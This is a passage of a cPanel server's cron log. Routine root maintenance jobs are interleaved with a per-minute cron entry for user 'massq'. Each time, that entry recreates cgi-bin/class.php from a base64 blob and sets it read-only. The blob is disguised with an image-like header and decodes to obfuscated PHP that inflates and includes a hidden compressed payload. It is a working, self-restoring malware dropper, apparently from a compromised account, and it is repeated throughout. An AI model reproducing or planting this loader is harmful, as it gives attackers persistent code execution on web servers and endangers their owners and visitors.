Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:28:01 server CROND[19212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:28:01 server CROND[19213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:28:01 server CROND[19214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:29:01 server CROND[19604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:29:01 server CROND[19602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:29:01 server CROND[19603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:30:01 server CROND[20003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:30:01 server CROND[20005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:30:01 server CROND[20007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:30:01 server CROND[20011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:30:01 server CROND[20012]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:30:01 server CROND[20014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:30:01 server CROND[20009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:30:01 server CROND[20010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:30:01 server CROND[20008]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 12:31:01 server CROND[20854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:31:01 server CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:31:01 server CROND[20857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:32:01 server CROND[21237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:32:01 server CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:32:01 server CROND[21239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:33:01 server CROND[21626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:33:01 server CROND[21627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:33:01 server CROND[21628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:34:01 server CROND[22151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:34:01 server CROND[22152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:34:01 server CROND[22153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:35:01 server CROND[22546]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 12:35:01 server CROND[22547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:35:01 server CROND[22551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:35:01 server CROND[22558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:35:01 server CROND[22561]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:35:01 server CROND[22562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:35:01 server CROND[22560]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:35:01 server CROND[22564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:35:01 server CROND[22563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:36:01 server CROND[23596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:36:01 server CROND[23597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:36:01 server CROND[23598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:37:01 server CROND[23971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:37:01 server CROND[23972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:37:01 server CROND[23973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:38:01 server CROND[24368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:38:01 server CROND[24369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:38:01 server CROND[24370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:39:01 server CROND[24843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:39:01 server CROND[24845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:39:01 server CROND[24846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
